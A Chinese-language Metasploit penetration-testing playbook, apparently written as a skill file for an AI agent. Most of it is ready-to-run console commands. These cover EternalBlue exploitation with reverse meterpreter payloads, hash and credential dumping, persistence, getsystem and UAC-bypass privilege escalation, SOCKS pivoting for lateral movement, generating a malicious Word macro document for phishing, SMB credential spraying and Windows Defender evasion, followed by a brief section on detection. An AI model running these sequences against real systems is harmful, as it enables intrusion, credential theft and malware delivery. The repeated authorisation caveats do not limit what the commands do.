Metasploit框架渗透测试
概述
Metasploit框架是渗透测试、漏洞验证和漏洞开发行业的标准平台。这项技能提供了授权的进攻性安全操作的结构化工作流程,包括利用、后利用和有效载荷交付。
重要:这项技能仅用于授权的安全测试。在进行渗透测试活动之前,始终确保有适当的授权、范围文件和法律合规性。
快速开始
初始化Metasploit控制台并验证数据库连接:
# 启动PostgreSQL数据库(工作区管理所需)
sudo systemctl start postgresql
# 初始化Metasploit数据库
msfdb init
# 启动Metasploit控制台
msfconsole
# 验证数据库连接
msf6 > db_status
核心工作流程
渗透测试工作流程
进度: [ ] 1. 验证授权和范围 [ ] 2. 配置工作区和目标枚举 [ ] 3. 识别和选择适当的漏洞利用 [ ] 4. 配置有效载荷和漏洞利用选项 [ ] 5. 执行漏洞利用并进行适当记录 [ ] 6. 进行后利用活动(如果授权) [ ] 7. 进行影响评估并记录结果 [ ] 8. 清理工件和会话
系统地完成每个步骤。勾选已完成的项目。
1. 授权验证
关键:在任何测试活动之前:
- 确认资产所有者的书面授权
- 查看范围文件以确定在范围内的目标
- 验证授权测试的IP范围和系统
- 确认允许的测试窗口和黑暗期
- 记录紧急升级的联系点
2. 工作区设置
为参与创建隔离的工作区:
msf6 > workspace -a <参与名称>
msf6 > workspace <参与名称>
msf6 > db_nmap -sV -sC -O <目标IP范围>
导入现有的侦察数据:
msf6 > db_import /path/to/nmap-scan.xml
msf6 > hosts
msf6 > services
3. 漏洞利用选择
根据枚举的服务搜索相关的漏洞利用:
msf6 > search type:exploit platform:windows <服务名称>
msf6 > search cve:<cve-id>
msf6 > search eternalblue
评估漏洞利用的适用性:
- 可靠性排名:优秀 > 伟大 > 好 > 正常 > 平均
- 稳定性:检查崩溃潜力
- 目标兼容性:验证操作系统版本和架构
- 所需凭据:确定是否需要身份验证
4. 漏洞利用配置
配置选定的漏洞利用模块:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <目标IP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445
# 配置有效载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <监听器IP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443
# 验证配置
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
5. 漏洞利用执行
执行漏洞利用并记录:
# 启用日志记录
msf6 exploit(windows/smb/ms17_010_eternalblue) > spool /path/to/logs/engagement-<日期>.log
# 运行漏洞利用
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
# 或者不自动交互运行
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
漏洞利用结果:
- 会话打开:成功漏洞利用,继续后利用
- 漏洞利用失败:审查目标兼容性,尝试替代漏洞利用
- 目标不脆弱:记录发现,移动到下一个目标
- 服务崩溃:记录稳定性问题,如果授权,尝试恢复服务
6. 后利用(仅限授权活动)
一旦建立会话,进行授权的后利用:
# 列出活动会话
msf6 > sessions -l
# 与会话交互
msf6 > sessions -i <会话ID>
# 收集系统信息
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getprivs
# 检查网络配置
meterpreter > ipconfig
meterpreter > route
# 枚举正在运行的进程
meterpreter > ps
# 检查安全控制
meterpreter > run post/windows/gather/enum_av_excluded
meterpreter > run post/windows/gather/enum_logged_on_users
常见后利用模块:
post/windows/gather/hashdump- 提取密码哈希(需要SYSTEM权限)post/multi/recon/local_exploit_suggester- 识别权限提升机会post/windows/gather/credentials/credential_collector- 收集存储的凭据post/windows/manage/persistence_exe- 建立持久性(如果明确授权)
7. 权限提升
如果授权进行权限提升:
# 识别提升向量
meterpreter > run post/multi/recon/local_exploit_suggester
# 迁移到稳定进程
meterpreter > ps
meterpreter > migrate <稳定进程PID>
# 尝试权限提升
meterpreter > getsystem
meterpreter > getuid
手动权限提升工作流程:
- 后台当前会话:
background - 选择提升模块:
use exploit/windows/local/<提升模块> - 设置会话:
set SESSION <会话ID> - 运行漏洞利用:
exploit
8. 横向移动
对于授权的内部渗透测试:
# 枚举网络
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<内部子网>
meterpreter > run auxiliary/scanner/smb/smb_version
# 通过被妥协的主机进行跳转
meterpreter > run autoroute -s <内部子网>/24
# 使用被妥协的主机作为代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j
为跳转配置proxychains:
# 编辑/etc/proxychains4.conf
socks4 127.0.0.1 1080
# 通过跳转运行工具
proxychains nmap -sT -Pn <内部目标>
安全考虑
授权和法律合规
- 书面授权:保持签署的渗透测试协议
- 范围遵守:仅测试明确授权的系统和网络
- 数据保护:根据参与规则处理发现的数据
- 事件响应:立即报告关键发现,按照升级程序
- 证据处理:维护取证证据的保管链
操作安全
- 回调基础设施:使用专用的、授权的回调服务器
- 归因预防:避免个人基础设施或可识别的指标
- 流量加密:使用加密的有效载荷(HTTPS、DNS隧道)
- 工件清理:参与后删除漏洞利用工件
- 会话管理:干净地关闭会话,以避免检测警报
审计日志记录
记录所有渗透测试活动:
- 漏洞利用尝试的时间戳
- 源和目标系统
- 使用的漏洞利用模块和有效载荷
- 会话中执行的命令
- 访问或泄露的数据
- 权限提升尝试
- 横向移动行动
合规性
- PTES:渗透测试执行标准合规性
- OWASP:与应用安全测试方法对齐
- MITRE ATT&CK:将TTP映射到ATT&CK框架进行威胁建模
- PCI-DSS 11.3:支付卡环境的渗透测试
- SOC2:服务组织控制的安全测试
常见模式
模式1:Web应用程序漏洞利用
msf6 > use exploit/multi/http/apache_struts2_content_type_ognl
msf6 exploit(...) > set RHOSTS <web-server>
msf6 exploit(...) > set TARGETURI /vulnerable-app
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > exploit
模式2:数据库服务器漏洞利用
# SQL Server漏洞利用
msf6 > use exploit/windows/mssql/mssql_payload
msf6 exploit(mssql_payload) > set RHOSTS <sql-server>
msf6 exploit(mssql_payload) > set USERNAME sa
msf6 exploit(mssql_payload) > set PASSWORD <password>
msf6 exploit(mssql_payload) > exploit
模式3:钓鱼活动交付
# 生成恶意文档
msf6 > use exploit/windows/fileformat/office_word_macro
msf6 exploit(office_word_macro) > set FILENAME report.docm
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(office_word_macro) > set LHOST <回调服务器>
msf6 exploit(office_word_macro) > exploit
# 设置监听器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST <回调服务器>
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > exploit -j
模式4:凭证喷洒
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS file:/path/to/targets.txt
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Administrator
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass <common-password>
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/smb/smb_login) > run
集成点
CI/CD集成
在安全管道中自动验证漏洞:
# 无头Metasploit资源脚本
cat > exploit_validation.rc <<EOF
workspace -a ci-validation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS \${TARGET_IP}
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST \${CALLBACK_IP}
exploit -z
exit
EOF
# 运行无头验证
msfconsole -r exploit_validation.rc -o validation_results.txt
安全工具集成
- Nmap集成:使用
db_import导入侦察数据 - Cobalt Strike:将会话导出到Cobalt Strike信标
- Empire:将会话交接给PowerShell Empire框架
- BloodHound:结合Active Directory枚举
- Burp Suite:集成Web漏洞发现
MITRE ATT&CK映射
将Metasploit活动映射到ATT&CK框架:
- 初始访问:T1190(利用公共面向应用程序)
- 执行:T1059(命令和脚本解释器)
- 持久性:T1547(启动或登录自动启动执行)
- 权限提升:T1068(利用权限提升)
- 凭证访问:T1003(操作系统凭证转储)
- 横向移动:T1021(远程服务)
- 收集:T1005(来自本地系统的数据)
- 外泄:T1041(通过C2频道外泄)
故障排除
问题:会话立即死亡
原因:
- 有效载荷被防病毒软件检测到
- 与有效载荷架构不兼容(x86 vs x64)
- 防火墙阻止回调连接
解决方案:
# 尝试规避技术
msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https
msf6 evasion(...) > generate -f /path/to/evaded_payload.exe
# 使用分阶段有效载荷而不是无阶段有效载荷
set PAYLOAD windows/meterpreter/reverse_https # 分阶段
# vs
set PAYLOAD windows/meterpreter_reverse_https # 无阶段
# 会话建立后立即迁移
meterpreter > run post/windows/manage/migrate
问题:漏洞利用失败,没有创建会话
原因:
- 目标不脆弱
- 目标版本或架构不正确
- 有效载荷兼容性问题
解决方案:
# 验证目标漏洞
msf6 exploit(...) > check
# 手动调整目标
msf6 exploit(...) > show targets
msf6 exploit(...) > set TARGET <目标索引>
# 尝试替代有效载荷
msf6 exploit(...) > show payloads
msf6 exploit(...) > set PAYLOAD <替代有效载荷>
问题:无法提升权限
解决方案:
# 枚举提升机会
meterpreter > run post/multi/recon/local_exploit_suggester
# 尝试替代技术
meterpreter > getsystem -t 1 # 命名管道模拟
meterpreter > getsystem -t 2 # 命名管道模拟(管理员下降)
meterpreter > getsystem -t 3 # 令牌复制
# 如果适用,使用UAC绕过
meterpreter > background
msf6 > use exploit/windows/local/bypassuac_injection
msf6 exploit(bypassuac_injection) > set SESSION <会话ID>
msf6 exploit(bypassuac_injection) > exploit
防御考虑
组织可以通过以下方式检测Metasploit活动:
- 网络IDS:基于签名的默认Metasploit有效载荷检测
- 端点检测:meterpreter进程注入的行为分析
- 流量分析:非标准端口的异常出站HTTPS连接
- 内存取证:检测反射DLL注入技术
- 日志分析:异常的身份验证模式或进程执行
增强防御姿态:
- 部署端点检测和响应(EDR)解决方案
- 启用PowerShell脚本块日志记录
- 监控不寻常的父子进程关系
- 实施应用程序白名单
- 使用网络分段和监控检测横向移动